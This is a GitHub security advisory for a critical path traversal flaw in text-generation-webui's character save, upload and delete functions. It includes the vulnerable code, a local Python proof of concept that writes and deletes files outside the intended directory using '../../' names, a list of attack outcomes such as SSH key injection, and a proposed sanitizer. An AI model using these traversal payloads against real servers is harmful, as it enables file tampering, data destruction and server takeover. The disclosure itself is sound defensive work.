Skip to content

Arbitrary File Write/Delete via Path Traversal in Character Name

Critical
oobabooga published GHSA-4p45-76cc-7p62 Mar 18, 2026

Package

pip text-generation-webui (pip)

Affected versions

<= 2.4

Patched versions

4.0

Description

Arbitrary File Write/Delete via Path Traversal in Character Name

Summary

The character management functions in modules/chat.py use unsanitized user input (character name) directly in file path construction. An attacker can write YAML files with attacker-controlled content to arbitrary locations on the filesystem, or delete arbitrary files, by injecting path traversal sequences (../) into the character name. No authentication is required when the server is exposed via --listen.

Affected Component

  • Repository: https://github.com/oobabooga/text-generation-webui (41,000+ stars)
  • Files:
    • modules/chat.py:1521-1551 - upload_character(): arbitrary file write via char_name
    • modules/chat.py:1625-1637 - save_character(): arbitrary file write via filename
    • modules/chat.py:1640-1648 - delete_character(): arbitrary file delete via name
  • Affected versions: All versions

Severity

CVSS 3.1: 9.1 (Critical)
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

  • AV:N - Network accessible via Gradio API (when --listen is used)
  • AC:L - Simple path traversal, no special conditions
  • PR:N - No authentication by default; Gradio API endpoints require no auth
  • UI:N - Direct API call, no user interaction needed
  • I:H - Arbitrary file write with attacker-controlled content
  • A:H - Arbitrary file delete

Vulnerability Details

Location 1: upload_character() - Arbitrary File Write

# modules/chat.py:1521-1551
def upload_character(file, img_path, tavern=False):
    img = open_image_safely(img_path)
    decoded_file = file if isinstance(file, str) else file.decode('utf-8')
    try:
        data = json.loads(decoded_file)
    except:
        data = yaml.safe_load(decoded_file)

    if 'char_name' in data:
        name = data['char_name']  # Attacker-controlled, NO SANITIZATION
        # ...
        yaml_data = generate_character_yaml(name, greeting, context)

    outfile_name = name  # Used directly in path construction
    # ...
    with open(Path(f'user_data/characters/{outfile_name}.yaml'), 'w') as f:
        f.write(yaml_data)  # Writes to traversed path

When char_name is ../../PAYLOAD, the file is written to user_data/characters/../../PAYLOAD.yaml, escaping the character directory.

Location 2: save_character() - Arbitrary File Write

# modules/chat.py:1625-1637
def save_character(name, greeting, context, picture, filename):
    data = generate_character_yaml(name, greeting, context)
    filepath = Path(f'user_data/characters/{filename}.yaml')  # No sanitization
    save_file(filepath, data)
    path_to_img = Path(f'user_data/characters/{filename}.png')
    if picture is not None:
        shutil.copy(picture, path_to_img)  # Also traversable

Location 3: delete_character() - Arbitrary File Delete

# modules/chat.py:1640-1648
def delete_character(name, instruct=False):
    for extension in ["yml", "yaml", "json"]:
        delete_file(Path(f'user_data/characters/{name}.{extension}'))  # No sanitization
    for extension in ["png", "jpg", "jpeg"]:
        delete_file(Path(f'user_data/characters/{name}.{extension}'))

Proof of Concept

import os, json, tempfile, shutil, yaml
from pathlib import Path

# Simulate the project directory structure
base_dir = tempfile.mkdtemp()
char_dir = os.path.join(base_dir, "user_data", "characters")
os.makedirs(char_dir)

# === ARBITRARY FILE WRITE via upload_character() ===

# Attacker uploads character JSON with traversal in char_name
malicious_json = json.dumps({
    "char_name": "../../TRAVERSAL_PROOF",
    "char_greeting": "Hello",
    "char_persona": "Test",
    "world_scenario": "",
    "example_dialogue": ""
})

data = json.loads(malicious_json)
name = data['char_name']  # chat.py:1530
yaml_data = yaml.dump({'name': name, 'greeting': data['char_greeting']},
                       sort_keys=False)
outfile_name = name  # chat.py:1538

# chat.py:1544 - writes to traversed path
target = Path(f'{char_dir}/{outfile_name}.yaml')
with open(target, 'w') as f:
    f.write(yaml_data)

# Verify: file written OUTSIDE character directory
escaped_path = os.path.join(base_dir, "TRAVERSAL_PROOF.yaml")
assert os.path.exists(escaped_path), "Path traversal failed"
print(f"[+] File written to: {escaped_path}")
# Output: [+] File written to: /tmp/.../TRAVERSAL_PROOF.yaml

# === ARBITRARY FILE DELETE via delete_character() ===

critical_file = os.path.join(base_dir, "important.yaml")
with open(critical_file, 'w') as f:
    f.write("critical: data")

# chat.py:1642-1643
for ext in ["yml", "yaml", "json"]:
    p = Path(f'{char_dir}/../../important.{ext}')
    if p.exists():
        os.unlink(p)

assert not os.path.exists(critical_file)
print(f"[+] Deleted: {critical_file}")
# Output: [+] Deleted: /tmp/.../important.yaml

shutil.rmtree(base_dir)

Impact / Harm to Others

1. Remote Code Execution via file overwrite

text-generation-webui is commonly deployed on servers with --listen flag for remote access. The Gradio API requires no authentication by default. An attacker can overwrite Python source files or configuration files in the project directory to achieve code execution:

  • Overwrite settings.yaml to inject malicious settings
  • Overwrite Python modules that are dynamically imported
  • Overwrite extension scripts that are auto-loaded

2. Data destruction via arbitrary file delete

The delete_character() function can be used to delete any file the server process has permissions to delete. An attacker can:

  • Delete model files (often multiple GB, time-consuming to re-download)
  • Delete conversation histories and user data
  • Delete system files if the server runs with elevated permissions

3. Denial of service

By deleting critical application files (shared.py, server.py, etc.), an attacker can permanently crash the server until files are restored.

4. Server compromise in cloud deployments

In cloud deployments, writing to specific paths can lead to:

  • SSH key injection (~/.ssh/authorized_keys)
  • Cron job creation for persistent backdoors
  • Service configuration manipulation

Remediation

Sanitize all character names and filenames before using them in path construction:

import re

def sanitize_filename(name):
    """Remove path traversal sequences and unsafe characters"""
    # Remove path separators and traversal
    name = name.replace('/', '').replace('\\', '').replace('..', '')
    # Only allow safe characters
    name = re.sub(r'[^\w\s\-.]', '', name)
    # Verify the final path stays within the target directory
    return name

# In upload_character():
name = sanitize_filename(data['char_name'])

# In save_character():
filename = sanitize_filename(filename)

# In delete_character():
name = sanitize_filename(name)

References

  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  • CWE-73: External Control of File Name or Path

Severity

Critical

CVE ID

No known CVE

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.